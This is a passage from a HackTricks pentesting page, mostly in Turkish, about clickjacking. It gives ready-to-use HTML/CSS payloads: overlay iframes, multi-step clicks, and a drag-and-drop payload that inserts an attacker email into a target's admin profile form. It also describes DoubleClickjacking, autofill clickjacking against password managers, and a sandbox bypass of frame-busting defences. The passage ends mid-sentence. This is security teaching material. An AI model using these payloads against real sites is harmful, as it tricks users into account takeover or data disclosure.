Clickjacking

Reading time: 8 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Clickjacking Nedir

Bir clickjacking saldırısında, bir kullanıcı, bir web sayfasındaki ya görünmez ya da farklı bir öğe gibi kamufle edilmiş bir öğeye tıklamaya kandırılır. Bu manipülasyon kullanıcının istemediği sonuçlara yol açabilir; örneğin malware indirilmesi, kötü amaçlı web sayfalarına yönlendirilmesi, credentials veya hassas bilgilerin verilmesi, para transferleri veya çevrimiçi ürün satın alınması gibi.

Prepopulate forms trick

Bazen bir sayfa yüklenirken GET parametreleri kullanılarak bir formun alanlarının değerlerinin doldurulması mümkün olabilir. Bir saldırgan bu davranışı kötüye kullanarak bir formu rastgele verilerle doldurabilir ve clickjacking payload'ını gönderip kullanıcının Submit butonuna basmasını sağlayabilir.

Populate form with Drag&Drop

Kullanıcının bir formu doldurmasını istiyorsanız ama ondan doğrudan belirli bir bilgi (ör. email veya sizin bildiğiniz belirli bir password) yazmasını istemiyorsanız, ona kontrolünüzdeki veriyi yazacak bir şeyi Drag&Drop etmesini isteyebilirsiniz; örneğin this example.

Basic Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Çok Adımlı Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Eğer bir kullanıcıyı bir öğeye tıklamaya zorlayan bir XSS attack that requires a user to click tespit ettiyseniz ve sayfa vulnerable to clickjacking ise, kullanıcıyı düğme/bağlantıya tıklaması için kandırmak amacıyla bunu kötüye kullanabilirsiniz.
Example:
Hesabın bazı özel detaylarında (yalnızca you can set and read olan) bir self XSS buldunuz. Bu detayları ayarlayan formun bulunduğu sayfa vulnerable to Clickjacking ve formu GET parameters ile prepopulate edebilirsiniz.
Bir saldırgan, o sayfaya prepopulating the form with the XSS payload yapacak şekilde bir Clickjacking saldırısı hazırlayabilir ve userı formu Submit etmeye tricking edebilir. Böylece when the form is submitted ve değerler değiştirildiğinde, user will execute the XSS.

DoubleClickjacking

Firstly explained in this post, bu teknik mağdurdan belirli bir konuma yerleştirilmiş bir özel sayfadaki bir düğmeye çift tıklamasını ister ve mousedown ile onclick eventleri arasındaki zaman farklarını kullanarak çift tıklama sırasında mağdur sayfasını yükler; böylece victim actually clicks a legit button in the victim page.

Bir örnek şu videoda görülebilir: https://www.youtube.com/watch?v=4rGvRRMrD18

Bir kod örneği şu sayfada bulunabilir: https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html.

warning

Bu teknik, kullanıcının mağdur sayfasında tek bir yere tıklamasını sağlayarak clickjacking'e karşı tüm korumaları atlatmaya imkan verir. Bu yüzden saldırganın tek bir tıklama ile yapılabilecek hassas işlemleri, örneğin OAuth istemlerinin izinleri kabul etmesi gibi, bulması gerekir.

Browser extensions: DOM-based autofill clickjacking

Iframing victim pages dışında, saldırganlar sayfaya enjekte edilen tarayıcı uzantısı UI öğelerini hedefleyebilir. Parola yöneticileri (Password managers), odaktaki inputların yakınında autofill açılır menüleri render eder; saldırgan kontrolündeki bir alanı odaklayıp uzantının açılır menüsünü gizleyerek/örtüşerek (opacity/overlay/top-layer tricks), zorlanmış bir kullanıcı tıklaması depolanmış bir öğeyi seçebilir ve hassas veriyi saldırgan kontrolündeki inputlara doldurabilir. Bu varyant iframe maruziyeti gerektirmez ve tamamen DOM/CSS manipülasyonu ile çalışır.

  • For concrete techniques and PoCs see:

BrowExt - ClickJacking

Strategies to Mitigate Clickjacking

İstemci Tarafı Savunmaları

İstemci tarafında çalışan scriptler Clickjacking'i önlemek için şu işlemleri yapabilir:

  • Uygulama penceresinin ana veya üst pencere (main or top window) olduğunu doğrulamak.
  • Tüm frame'leri görünür yapmak.
  • Görünmez frame'lerdeki tıklamaları engellemek.
  • Olası Clickjacking denemelerini tespit edip kullanıcıları uyarmak.

Ancak bu frame-busting scriptleri şu yollarla aşılabilir:

  • Tarayıcıların Güvenlik Ayarları: Bazı tarayıcılar bu scriptleri güvenlik ayarlarına veya JavaScript desteğinin olmamasına bağlı olarak engelleyebilir.
  • HTML5 iframe sandbox Attribute: Bir saldırgan, sandbox attribute'unu allow-forms veya allow-scripts değerleriyle, allow-top-navigation olmadan ayarlayarak frame buster scriptlerini etkisiz hale getirebilir. Bu, iframe'in üst pencere olup olmadığını doğrulamasını engeller, örneğin
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

The allow-forms and allow-scripts values enable actions within the